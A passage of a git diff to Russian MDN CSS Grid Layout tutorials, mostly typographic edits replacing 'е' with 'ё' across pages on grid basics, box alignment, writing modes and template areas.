<p>Вы также можете задать размер треков, создаваемых в виде неявного грида с помощью свойств {{cssxref("grid-auto-rows")}} и {{cssxref("grid-auto-columns")}}.</p> -<p>В примере ниже мы задаем <code>grid-auto-rows</code> , чтобы треки, создаваемые в неявном гриде были высотой 200 пикселей.</p> +<p>В примере ниже мы задаём <code>grid-auto-rows</code> , чтобы треки, создаваемые в неявном гриде были высотой 200 пикселей.</p> <pre class="brush: html notranslate"><div class="wrapper"> <div>One</div> @@ -345,7 +345,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>В дальнейшем мы детально рассмотрим размещение элементов с помощью линий, а пока остановимся на простом способе. При размещении элемента мы ссылаемся именно на линию, а не на трек. </p> -<p>В следующем примере мы размещаем первые два элемента в нашем гриде из трех колоночных треков с помощью свойств {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row-start")}} и {{cssxref("grid-row-end")}}. Поскольку режим написания слева направо, первый элемент размещается, начиная с колоночной линии 1, и занимает пространство до колоночной линии 4, которая в нашем случае - самая правая линия грида. Наш элемент начинается со строчной линии 1 и заканчивается на строчной линии 3, таким образом занимая два строчных трека.</p> +<p>В следующем примере мы размещаем первые два элемента в нашем гриде из трёх колоночных треков с помощью свойств {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row-start")}} и {{cssxref("grid-row-end")}}. Поскольку режим написания слева направо, первый элемент размещается, начиная с колоночной линии 1, и занимает пространство до колоночной линии 4, которая в нашем случае - самая правая линия грида. Наш элемент начинается со строчной линии 1 и заканчивается на строчной линии 3, таким образом занимая два строчных трека.</p> <p>Второй элемент начинается с колоночной линии 1 и занимает один трек. Это поведение по умолчанию, поэтому не нужно задавать конечную линию. Элемент также занимает два строчных трека - со строчной линии 3 до строчной линии 5. Остальные элементы самостоятельно размещаются в пустых пространствах грида. </p> @@ -405,19 +405,19 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <h2 id="Grid-ячейки">Grid-ячейки</h2> -<p>Грид-ячейка (<em>grid cell)</em> - наименьшая единица измерения грида, концептуально похожая на ячейку таблицы. Как мы видели в предыдущих примерах, едва грид определен для родительского элемента, дочерние элементы автоматически размещаются в каждой ячейке нашего заданного грида. На рисунке ниже первая ячейка грида выделена цветом.</p> +<p>Грид-ячейка (<em>grid cell)</em> - наименьшая единица измерения грида, концептуально похожая на ячейку таблицы. Как мы видели в предыдущих примерах, едва грид определён для родительского элемента, дочерние элементы автоматически размещаются в каждой ячейке нашего заданного грида. На рисунке ниже первая ячейка грида выделена цветом.</p> <p><img alt="The first cell of the grid highlighted" src="https://mdn.mozillademos.org/files/14643/1_Grid_Cell.png" style="height: 233px; width: 350px;"></p> <h2 id="Grid-области">Grid-области</h2> -<p>Элементы могут занимать одну или несколько ячеек внутри строки или колонки, и подобное поведение создает грид-область (<em>grid area)</em>. Грид-области должны быть перпендикулярными, - невозможно создать область, например, в форме буквы L. Выделенная цветом грид-область на рисунке ниже занимает два строчных трека и два колоночных. </p> +<p>Элементы могут занимать одну или несколько ячеек внутри строки или колонки, и подобное поведение создаёт грид-область (<em>grid area)</em>. Грид-области должны быть перпендикулярными, - невозможно создать область, например, в форме буквы L. Выделенная цветом грид-область на рисунке ниже занимает два строчных трека и два колоночных. </p> <p><img alt="A grid area" src="https://mdn.mozillademos.org/files/14645/1_Grid_Area.png" style="height: 238px; width: 357px;"></p> <h2 id="Зазоры_Gutters">Зазоры (Gutters)</h2> -<p><em>Зазоры (Gutters)</em> или аллеи (<em>alleys)</em> между грид-ячейками можно создать с помощью свойств {{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}, или с помощью сокращенного свойства {{cssxref("grid-gap")}}. В примере ниже мы создаем зазор в 10 пикселей между колонками и в <code>1em</code> между строками.</p> +<p><em>Зазоры (Gutters)</em> или аллеи (<em>alleys)</em> между грид-ячейками можно создать с помощью свойств {{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}, или с помощью сокращённого свойства {{cssxref("grid-gap")}}. В примере ниже мы создаём зазор в 10 пикселей между колонками и в <code>1em</code> между строками.</p> <pre class="brush: css notranslate">.wrapper { display: grid; @@ -465,7 +465,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <h2 id="Вложенные_гриды">Вложенные гриды</h2> -<p>Грид-элемент может быть и грид-контейнером. В следующем примере у нас есть созданный ранее трехколоночный грид, в котором размещены два элемента. В данном случае у первого элемента есть несколько подэлементов. Поскольку эти подэлементы не являются прямыми потомками грида, они не участвуют в структуре грида и отображаются в соответствии с нормальным потоком документа.</p> +<p>Грид-элемент может быть и грид-контейнером. В следующем примере у нас есть созданный ранее трёхколоночный грид, в котором размещены два элемента. В данном случае у первого элемента есть несколько подэлементов. Поскольку эти подэлементы не являются прямыми потомками грида, они не участвуют в структуре грида и отображаются в соответствии с нормальным потоком документа.</p> <div id="nesting"> <pre class="brush: html notranslate"><div class="wrapper"> @@ -483,7 +483,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p><img alt="Nested grid in flow" src="https://mdn.mozillademos.org/files/14641/1_Nested_Grids_in_flow.png" style="height: 512px; width: 900px;"></p> -<p>Если мы задаем для <code>box1</code> значение <code>display: grid</code> , то можем написать для него структуру треков, и он тоже станет гридом, а его дочерние элементы будут размещены внутри этого нового грида.</p> +<p>Если мы задаём для <code>box1</code> значение <code>display: grid</code> , то можем написать для него структуру треков, и он тоже станет гридом, а его дочерние элементы будут размещены внутри этого нового грида.</p> <pre class="brush: css notranslate">.box1 { grid-column-start: 1; @@ -531,7 +531,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>Примечание. Эта функция поставляется в браузере Firefox 71, который в настоящее время является единственным браузером для реализации subgrid.</p> </div> -<p>В приведенном выше примере мы можем отредактировать вложенный грид, изменив <code>grid-template-columns: repeat(3, 1fr)</code>, на <code>grid-template-columns: subgrid</code>. Вложенный грид будет использовать родительскую структуру треков, чтобы разместить свои дочерние элементы.</p> +<p>В приведённом выше примере мы можем отредактировать вложенный грид, изменив <code>grid-template-columns: repeat(3, 1fr)</code>, на <code>grid-template-columns: subgrid</code>. Вложенный грид будет использовать родительскую структуру треков, чтобы разместить свои дочерние элементы.</p> <pre class="brush: css notranslate">.box1 { grid-column-start: 1; @@ -545,7 +545,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <h2 id="Размещение_элементов_с_помощью_z-index">Размещение элементов с помощью <code>z-index</code></h2> -<p>Несколько грид-элементов могут занимать одну и ту же ячейку. Если вернуться к нашему примеру с элементами, размещенными по номерам линий, мы можем сделать так, чтобы два элемента перекрывались:</p> +<p>Несколько грид-элементов могут занимать одну и ту же ячейку. Если вернуться к нашему примеру с элементами, размещёнными по номерам линий, мы можем сделать так, чтобы два элемента перекрывались:</p> <div id="l_ex"> <pre class="brush: html notranslate"><div class="wrapper"> diff --git a/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html b/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html index 8ea1b8d352..80d1ad38af 100644 --- a/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html +++ b/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html @@ -5,9 +5,9 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout --- <p>Если вы знакомы с <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">flexbox</a>, вы уже столкнулись с тем, как гибкие элементы могут быть правильно выровнены внутри контейнера flex. Эти свойства выравнивания, которые мы впервые встретили в спецификации flexbox, были перенесены в новую спецификацию под названием <a href="https://drafts.csswg.org/css-align/">Box Alignment Level 3</a>. Эта спецификация содержит подробную информацию о том, как выравнивание должно работать во всех различных методах компоновки.</p> -<p>Каждый метод макета, который реализует выравнивание ящиков, будет иметь некоторые отличия из-за того, что каждый метод имеет разные функции и ограничения (и унаследованное поведение), что делает невозможным выравнивание точно таким же образом по всем направлениям. Спецификация Box Alignment содержит подробную информацию для каждого метода, однако вы были бы разочарованы, если бы попытались выполнить выравнивание по многим методам прямо сейчас, поскольку поддержка браузера еще не существует. Там, где у нас есть поддержка браузера для свойств выравнивания и распределения пространства из спецификации Box Alignment, в grid макета.</p> +<p>Каждый метод макета, который реализует выравнивание ящиков, будет иметь некоторые отличия из-за того, что каждый метод имеет разные функции и ограничения (и унаследованное поведение), что делает невозможным выравнивание точно таким же образом по всем направлениям. Спецификация Box Alignment содержит подробную информацию для каждого метода, однако вы были бы разочарованы, если бы попытались выполнить выравнивание по многим методам прямо сейчас, поскольку поддержка браузера ещё не существует. Там, где у нас есть поддержка браузера для свойств выравнивания и распределения пространства из спецификации Box Alignment, в grid макета.</p> -<p>В этом руководстве представлены демонстрации того, как работает выравнивание ячеек в макете. Вы увидите много общего в том, как эти свойства и ценности работают в flexbox. Из-за того, что сетка двумерна и однобочечна, существует несколько небольших различий, за которыми вы должны следить. Поэтому мы начнем с рассмотрения двух осей, с которыми мы сталкиваемся при выравнивании объектов в сетке.</p> +<p>В этом руководстве представлены демонстрации того, как работает выравнивание ячеек в макете. Вы увидите много общего в том, как эти свойства и ценности работают в flexbox. Из-за того, что сетка двумерна и однобочечна, существует несколько небольших различий, за которыми вы должны следить. Поэтому мы начнём с рассмотрения двух осей, с которыми мы сталкиваемся при выравнивании объектов в сетке.</p> <h2 id="Две_оси_grid_layout">Две оси grid layout</h2> @@ -100,7 +100,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <p>Свойство {{cssxref ("align-items")}} устанавливает свойство {{cssxref ("align-self")}} для всех дочерних элементов сетки. Это означает, что вы можете установить свойство индивидуально, используя <code>align-self</code> по элементу сетки.</p> -<p>В следующем примере я использую свойство <code>align-self</code>, чтобы продемонстрировать различные значения выравнивания. В первой области отображается поведение по умолчанию для выравнивания, которое должно растягиваться. Второй элемент имеет значение самоограничения <code>start</code>, третий <code>end</code> и четвертый <code>center</code>.</p> +<p>В следующем примере я использую свойство <code>align-self</code>, чтобы продемонстрировать различные значения выравнивания. В первой области отображается поведение по умолчанию для выравнивания, которое должно растягиваться. Второй элемент имеет значение самоограничения <code>start</code>, третий <code>end</code> и четвёртый <code>center</code>.</p> <div id="alignment_2"> <div class="hidden"> @@ -165,7 +165,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <p>Спецификация указывает, что поведение по умолчанию в {{cssxref ("align-self")}} должно растягиваться, за исключением элементов, которые имеют внутреннее соотношение сторон, в этом случае они ведут себя как <code>start</code>. Причиной этого является то, что если элементы с соотношением сторон настроены на растяжение, это значение по умолчанию будет искажать их.</p> -<p>Это поведение было уточнено в спецификации, при этом браузеры еще не реализовали правильное поведение. Пока это не произойдет, вы можете убедиться, что элементы не растягиваются, например изображения, которые являются прямыми дочерними элементами сетки, путем установки {{cssxref ("align-self")}} и {{cssxref ("justify-self") }} <code>start</code>. Это будет имитировать правильное поведение после его реализации.</p> +<p>Это поведение было уточнено в спецификации, при этом браузеры ещё не реализовали правильное поведение. Пока это не произойдёт, вы можете убедиться, что элементы не растягиваются, например изображения, которые являются прямыми дочерними элементами сетки, путём установки {{cssxref ("align-self")}} и {{cssxref ("justify-self") }} <code>start</code>. Это будет имитировать правильное поведение после его реализации.</p> <h2 id="Justifying_Items_on_the_Inline_or_Row_Axis">Justifying Items on the Inline or Row Axis</h2> @@ -185,7 +185,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <p>Вы можете увидеть тот же пример, что и для {{cssxref ("align-items")}} ниже. На этот раз мы применяем свойство {{cssxref ("justify-self")}}.</p> -<p>Опять же, значение по умолчанию <code>stretch</code>, за исключением элементов с внутренним соотношением сторон. Это означает, что по умолчанию элементы сетки будут покрывать их площадь сетки, если вы не измените ее, установив выравнивание. Первый элемент в примере демонстрирует это выравнивание по умолчанию:</p> +<p>Опять же, значение по умолчанию <code>stretch</code>, за исключением элементов с внутренним соотношением сторон. Это означает, что по умолчанию элементы сетки будут покрывать их площадь сетки, если вы не измените её, установив выравнивание. Первый элемент в примере демонстрирует это выравнивание по умолчанию:</p> <div id="alignment_3"> <div class="hidden"> @@ -316,7 +316,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <li><code>last baseline</code></li> </ul> -<p>В приведенном ниже примере у меня есть контейнер сетки размером 500 пикселей на 500 пикселей. Я определил 3 строки и столбцы, каждый из 100 пикселей с 10-пиксельным желобом. Это означает, что внутри контейнера сетки есть пространство как в блочном, так и в линейном направлениях.</p> +<p>В приведённом ниже примере у меня есть контейнер сетки размером 500 пикселей на 500 пикселей. Я определил 3 строки и столбцы, каждый из 100 пикселей с 10-пиксельным жёлобом. Это означает, что внутри контейнера сетки есть пространство как в блочном, так и в линейном направлениях.</p> <p>Свойство <code>align-content</code> применяется к контейнеру сетки, поскольку оно работает на всей сетке. Поведение по умолчанию в макете сетки <code>start</code>, поэтому наши дорожки сетки находятся в верхнем левом углу сетки, выровнены по отношению к стартовым линиям сетки:</p> @@ -499,7 +499,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <p>Стоит отметить, что использование этих значений пространственного распределения может привести к увеличению элементов в вашей сетке. Если элемент охватывает более одной дорожки сетки, так как дополнительное пространство добавляется между дорожками, этот предмет должен стать большим, чтобы поглотить пространство. Мы всегда работаем в строгой сетке. Поэтому, если вы решите использовать эти значения, убедитесь, что содержимое ваших треков может справиться с дополнительным пространством или что вы использовали свойства выравнивания для элементов, чтобы заставить их перемещаться в начало, а не растягиваться.</p> -<p>В приведенном ниже изображении я поместил сетку с <code>align-content</code>, со значением <code>start</code> рядом с сеткой, когда значение <code>align-content</code> имеет значение <code>space-between</code>. Вы можете видеть, как элементы 1 и 2, которые охватывают два ряда дорожек, взяты на дополнительной высоте, поскольку они получают дополнительное пространство, добавленное к промежутку между этими двумя дорожками:</p> +<p>В приведённом ниже изображении я поместил сетку с <code>align-content</code>, со значением <code>start</code> рядом с сеткой, когда значение <code>align-content</code> имеет значение <code>space-between</code>. Вы можете видеть, как элементы 1 и 2, которые охватывают два ряда дорожек, взяты на дополнительной высоте, поскольку они получают дополнительное пространство, добавленное к промежутку между этими двумя дорожками:</p> <p><img alt="Demonstrating how items become larger if we use space-between." src="https://mdn.mozillademos.org/files/14729/7_space-between.png" style="height: 534px; width: 1030px;"></p> diff --git a/files/ru/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html b/files/ru/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html index a481d519ad..d94570b6f2 100644 --- a/files/ru/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html +++ b/files/ru/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html @@ -8,7 +8,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode <h2 id="Логические_и_физические_свойства_и_ценности">Логические и физические свойства и ценности</h2> -<p>CSS полон <strong>физических</strong> слов позиционирования - слева и справа, сверху и снизу. Если мы позиционируем элемент с использованием абсолютного позиционирования, мы используем эти физические ключевые слова в качестве значений смещения, чтобы обжимать элемент вокруг. В нижеприведенном фрагменте кода элемент помещается в 20 пикселей сверху и 30 пикселей слева от контейнера:</p> +<p>CSS полон <strong>физических</strong> слов позиционирования - слева и справа, сверху и снизу. Если мы позиционируем элемент с использованием абсолютного позиционирования, мы используем эти физические ключевые слова в качестве значений смещения, чтобы обжимать элемент вокруг. В нижеприведённом фрагменте кода элемент помещается в 20 пикселей сверху и 30 пикселей слева от контейнера:</p> <pre class="brush:css">.container { position: relative; @@ -25,15 +25,15 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode </div> </pre> -<p>Еще одно место, где вы можете увидеть используемые физические ключевые слова, - это использовать <code>text-align: right</code> выравнивать текст вправо. В CSS есть также физические <strong>свойства</strong>. Мы добавляем поля, дополнения и границы, используя эти физические свойства {{cssxref ("margin-left")}}, {{cssxref ("padding-left")}} и т. д.</p> +<p>Ещё одно место, где вы можете увидеть используемые физические ключевые слова, - это использовать <code>text-align: right</code> выравнивать текст вправо. В CSS есть также физические <strong>свойства</strong>. Мы добавляем поля, дополнения и границы, используя эти физические свойства {{cssxref ("margin-left")}}, {{cssxref ("padding-left")}} и т. д.</p> <p>Мы называем эти ключевые слова и свойства <em>физическими</em>, потому что они относятся к экрану, на который вы смотрите. Слева всегда слева, независимо от того, в каком направлении работает ваш текст.</p> -<p>Это может стать проблемой при разработке сайта, который должен работать на нескольких языках, включая языки с текстом, начинающимся справа, а не слева. Браузеры хорошо справляются с направлением текста и вам даже не нужно работать на языке {{glossary ("rtl")}}, чтобы посмотреть. В приведенном ниже примере у меня есть два абзаца. У одного не установлено {{cssxref ("text-align")}}, второе имеет выравнивание текста (<code>text-align</code>) влево. Я добавил <code>dir = "rtl"</code> в элемент <code>html</code>, который переключает режим записи по умолчанию для документа на английском языке <code>ltr</code>. Вы можете видеть, что первый абзац остается слева направо, из-за оставленного значения выравнивания текста. Второе, однако, переключает направление и текст пробегает справа налево.</p> +<p>Это может стать проблемой при разработке сайта, который должен работать на нескольких языках, включая языки с текстом, начинающимся справа, а не слева. Браузеры хорошо справляются с направлением текста и вам даже не нужно работать на языке {{glossary ("rtl")}}, чтобы посмотреть. В приведённом ниже примере у меня есть два абзаца. У одного не установлено {{cssxref ("text-align")}}, второе имеет выравнивание текста (<code>text-align</code>) влево. Я добавил <code>dir = "rtl"</code> в элемент <code>html</code>, который переключает режим записи по умолчанию для документа на английском языке <code>ltr</code>. Вы можете видеть, что первый абзац остаётся слева направо, из-за оставленного значения выравнивания текста. Второе, однако, переключает направление и текст пробегает справа налево.</p> <p><img alt="A simple example of text direction." src="https://mdn.mozillademos.org/files/14733/8_direction_simple_example.png" style="height: 354px; width: 1136px;"></p> -<p>Это очень простой пример проблемы с физическими значениями и свойствами, которые используются в CSS. Они не позволяют браузеру выполнять работу по переключению режима записи, поскольку они делают предположение, что текст течет слева направо и сверху вниз.</p> +<p>Это очень простой пример проблемы с физическими значениями и свойствами, которые используются в CSS. Они не позволяют браузеру выполнять работу по переключению режима записи, поскольку они делают предположение, что текст течёт слева направо и сверху вниз.</p> <h3 id="Логические_свойства_и_значения">Логические свойства и значения</h3> @@ -41,13 +41,13 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode <h2 id="Block_и_Inline">Block и Inline</h2> -<p>Как только мы начнем заниматься логическими, а не физическими свойствами, мы перестаем видеть мир как слева направо, так и сверху вниз. Нам нужна новая контрольная точка и именно здесь понимание использования <em>блока</em> и <em>встроенных</em> осей, которые мы встретили ранее в руководстве по выравниванию, становится очень полезным. Если вы можете начать видеть макет с точки зрения блочного и встроенного, то, как все работает в сетке, становится намного больше смысла.</p> +<p>Как только мы начнём заниматься логическими, а не физическими свойствами, мы перестаём видеть мир как слева направо, так и сверху вниз. Нам нужна новая контрольная точка и именно здесь понимание использования <em>блока</em> и <em>встроенных</em> осей, которые мы встретили ранее в руководстве по выравниванию, становится очень полезным. Если вы можете начать видеть макет с точки зрения блочного и встроенного, то, как все работает в сетке, становится намного больше смысла.</p> <p><img alt="An image showing the default direction of the Block and Inline Axes." src="https://mdn.mozillademos.org/files/14735/8-horizontal-tb.png" style="height: 256px; width: 500px;"></p> <h2 id="Режимы_записи_CSS">Режимы записи CSS</h2> -<p>Я собираюсь представить здесь еще одну спецификацию, которую я буду использовать в своих примерах: спецификация CSS Writing Modes. Эта спецификация подробно описывает, как мы можем использовать эти разные режимы записи в CSS, а не только для поддержки языков, которые имеют другой режим записи на английском языке, но также и для творческих целей. Я буду использовать свойство {{cssxref ("write-mode")}}, чтобы внести изменения в режим записи, применяемый к нашей сетке, чтобы продемонстрировать, как работают логические значения. Однако, если вы хотите, чтобы вы меняли в режиме записи, я бы рекомендовал вам прочитать Jen Simmons отличную статью о <a href="https://24ways.org/2016/css-writing-modes/">CSS Writing Modes</a>. Это более подробно описано в этой спецификации, чем мы коснемся здесь.</p> +<p>Я собираюсь представить здесь ещё одну спецификацию, которую я буду использовать в своих примерах: спецификация CSS Writing Modes. Эта спецификация подробно описывает, как мы можем использовать эти разные режимы записи в CSS, а не только для поддержки языков, которые имеют другой режим записи на английском языке, но также и для творческих целей. Я буду использовать свойство {{cssxref ("write-mode")}}, чтобы внести изменения в режим записи, применяемый к нашей сетке, чтобы продемонстрировать, как работают логические значения. Однако, если вы хотите, чтобы вы меняли в режиме записи, я бы рекомендовал вам прочитать Jen Simmons отличную статью о <a href="https://24ways.org/2016/css-writing-modes/">CSS Writing Modes</a>. Это более подробно описано в этой спецификации, чем мы коснёмся здесь.</p> <h3 id="writing-mode">writing-mode</h3> @@ -61,7 +61,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode <li><code>sideways-lr</code></li> </ul> -<p>Значение <code>horizontal-tb</code> является значением по умолчанию для текста в Интернете. Это направление, в котором вы читаете это руководство. Другие свойства изменят способ передачи текста в нашем документе, соответствующий различным режимам записи, найденным по всему миру. Опять же, для получения полной информации об этом см. <a href="https://24ways.org/2016/css-writing-modes/">Jen’s article</a>. В качестве простого примера у меня есть два параграфа ниже. Первый использует по умолчанию <code>horizontal-tb</code>, а второй использует <code>vertical-rl</code>. В тексте режима все еще выполняется влево-вправо, однако направление текста вертикально - встроенный текст теперь проходит вниз по странице, сверху вниз.</p> +<p>Значение <code>horizontal-tb</code> является значением по умолчанию для текста в Интернете. Это направление, в котором вы читаете это руководство. Другие свойства изменят способ передачи текста в нашем документе, соответствующий различным режимам записи, найденным по всему миру. Опять же, для получения полной информации об этом см. <a href="https://24ways.org/2016/css-writing-modes/">Jen’s article</a>. В качестве простого примера у меня есть два параграфа ниже. Первый использует по умолчанию <code>horizontal-tb</code>, а второй использует <code>vertical-rl</code>. В тексте режима все ещё выполняется влево-вправо, однако направление текста вертикально - встроенный текст теперь проходит вниз по странице, сверху вниз.</p> <div id="writing_1"> <div class="hidden"> @@ -361,7 +361,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode <h3 id="Странный_порядок_значений_в_свойстве_grid-area">Странный порядок значений в свойстве grid-area</h3> -<p>Вы можете использовать свойство {{cssxref ("grid-area")}}, чтобы указать все четыре строки области сетки как одно значение. Когда люди впервые сталкиваются с этим, они часто удивляются тому, что значения не следуют тому же порядку, что и сокращенное поле, которое работает по часовой стрелке: сверху, справа, внизу, слева.</p> +<p>Вы можете использовать свойство {{cssxref ("grid-area")}}, чтобы указать все четыре строки области сетки как одно значение. Когда люди впервые сталкиваются с этим, они часто удивляются тому, что значения не следуют тому же порядку, что и сокращённое поле, которое работает по часовой стрелке: сверху, справа, внизу, слева.</p> <p>Порядок значений <code>grid-area</code>:</p> @@ -381,7 +381,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode <li><code>right</code></li> </ul> -<p>Это против часовой стрелки! Итак, обратное тому, что мы делаем для полей и заполнения. Как только вы поймете, что <code>grid-area</code> видит мир как "block и inline", вы можете помнить, что мы устанавливаем два запуска, а затем два конца. Когда вы знаете, это становится намного логичнее!</p> +<p>Это против часовой стрелки! Итак, обратное тому, что мы делаем для полей и заполнения. Как только вы поймёте, что <code>grid-area</code> видит мир как "block и inline", вы можете помнить, что мы устанавливаем два запуска, а затем два конца. Когда вы знаете, это становится намного логичнее!</p> <h2 id="Смешанные_режимы_записи_и_макет_сетки">Смешанные режимы записи и макет сетки</h2> @@ -436,7 +436,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode <h3 id="Логические_свойства_для_всего!">Логические свойства для всего!</h3> -<p>Наши новые методы компоновки дают нам возможность использовать эти логические значения для размещения элементов, однако, как только мы начнем объединять их с физическими свойствами, используемыми для полей и отступов, нам нужно помнить, что эти физические свойства не изменятся в соответствии с режимом записи.</p> +<p>Наши новые методы компоновки дают нам возможность использовать эти логические значения для размещения элементов, однако, как только мы начнём объединять их с физическими свойствами, используемыми для полей и отступов, нам нужно помнить, что эти физические свойства не изменятся в соответствии с режимом записи.</p> <p><a href="https://drafts.csswg.org/css-logical/">Спецификация логических свойств CSS</a> имеет целью изменить это и в будущем мы сможем использовать <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Logical_Properties">логические эквиваленты</a> для свойств, такие как {{cssxref ("margin-left")}} и {{cssxref ("margin-right") }}, в нашем CSS. Firefox уже реализовал их, поэтому вы можете попробовать их прямо сейчас в Firefox. Я знаю в будущем, как только эти корабли повсюду, ваши знания «Блокировать и встроить» с помощью Grid означают, что вы точно знаете, как их использовать.</p> diff --git a/files/ru/web/css/css_grid_layout/grid_template_areas/index.html b/files/ru/web/css/css_grid_layout/grid_template_areas/index.html index 2b99c113d1..4081789445 100644 --- a/files/ru/web/css/css_grid_layout/grid_template_areas/index.html +++ b/files/ru/web/css/css_grid_layout/grid_template_areas/index.html @@ -4,18 +4,18 @@ slug: Web/CSS/CSS_Grid_Layout/Grid_Template_Areas translation_of: Web/CSS/CSS_Grid_Layout/Grid_Template_Areas original_slug: Web/CSS/CSS_Grid_Layout/Грид-области --- -<p>В <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">предыдущем обзоре</a> мы рассмотрели грид-линии и то, как с их помощью размещать элементы в гридах. Когда Вы работаете с CSS Grid Layout, у Вас всегда есть грид-линии, поэтому они - быстрый, прямой и надежный способ расположить элементы. Как бы то ни было, существует альтернативный метод, и этот метод можно использовать как в одиночку, так и в сочетании с расположением элементов по грид-линиям. В этом методе элементы располагаются с помощью именованных, заранее определенных грид-областей. Давайте рассмотрим, как он работает, и Вы скоро поймете, почему его называют методом ascii-искусства в концепции макетов на гридах!</p> +<p>В <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">предыдущем обзоре</a> мы рассмотрели грид-линии и то, как с их помощью размещать элементы в гридах. Когда Вы работаете с CSS Grid Layout, у Вас всегда есть грид-линии, поэтому они - быстрый, прямой и надёжный способ расположить элементы. Как бы то ни было, существует альтернативный метод, и этот метод можно использовать как в одиночку, так и в сочетании с расположением элементов по грид-линиям. В этом методе элементы располагаются с помощью именованных, заранее определённых грид-областей. Давайте рассмотрим, как он работает, и Вы скоро поймёте, почему его называют методом ascii-искусства в концепции макетов на гридах!</p> <h2 id="Имя_для_грид-области">Имя для грид-области</h2> -<p>Вы уже знакомы со свойством {{cssxref("grid-area")}}. Это то свойство, которое принимает в качестве значения номера четырех грид-линий, определяющих расположение грид-области.</p> +<p>Вы уже знакомы со свойством {{cssxref("grid-area")}}. Это то свойство, которое принимает в качестве значения номера четырёх грид-линий, определяющих расположение грид-области.</p> <pre class="brush: css">.box1 { grid-area: 1 / 1 / 4 / 2; } </pre> -<p>Что мы делаем, когда задаем все четыре значения? Мы определяем область, ограниченную данными грид-линиями. </p> +<p>Что мы делаем, когда задаём все четыре значения? Мы определяем область, ограниченную данными грид-линиями. </p> <p><img alt="The Grid Area defined by lines" src="https://mdn.mozillademos.org/files/14667/4_Area.png" style="height: 354px; width: 951px;"></p> @@ -30,7 +30,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Грид-области <p><img alt="An image showing a simple two column layout with header and footer" src="https://mdn.mozillademos.org/files/14669/4_Layout.png" style="height: 397px; width: 900px;"></p> -<p>С помощью свойства {{cssxref("grid-area")}} мы можем назначить каждой из этих областей свое собственное имя. Именование областей еще не создает никакого макета, однако теперь у нас есть именованные области, которые мы можем в нем использовать.</p> +<p>С помощью свойства {{cssxref("grid-area")}} мы можем назначить каждой из этих областей своё собственное имя. Именование областей ещё не создаёт никакого макета, однако теперь у нас есть именованные области, которые мы можем в нем использовать.</p> <div id="Grid_Area_1"> <pre class="brush: css">.header { @@ -47,7 +47,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Грид-области } </pre> -<p>Определив имена, мы можем приступить к созданию макета. На этот раз вместо того, чтобы расположить элементы с помощью номеров линий, заданных для самих элементов, мы создаем весь макет в грид-контейнере.</p> +<p>Определив имена, мы можем приступить к созданию макета. На этот раз вместо того, чтобы расположить элементы с помощью номеров линий, заданных для самих элементов, мы создаём весь макет в грид-контейнере.</p> <pre class="brush: css">.wrapper { display: grid; @@ -93,7 +93,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Грид-области <p>{{ EmbedLiveSample('Grid_Area_1', '300', '330') }}</p> </div> -<p>Если мы используем этот метод, то нам не нужно задавать что-то отдельно для грид-элементов, все задается для грид-контейнера. Весь макет описывается значением свойства {{cssxref("grid-template-areas")}}.</p> +<p>Если мы используем этот метод, то нам не нужно задавать что-то отдельно для грид-элементов, все задаётся для грид-контейнера. Весь макет описывается значением свойства {{cssxref("grid-template-areas")}}.</p> <h2 id="Оставляем_ячейку_пустой">Оставляем ячейку пустой</h2> @@ -158,9 +158,9 @@ original_slug: Web/CSS/CSS_Grid_Layout/Грид-области <h2 id="Охватываем_несколько_ячеек">Охватываем несколько ячеек</h2> -<p>В нашем примере каждая из областей охватывает несколько грид-ячеек, и получаем мы подобный эффект за счет того, что через пробел повторяем имя этой 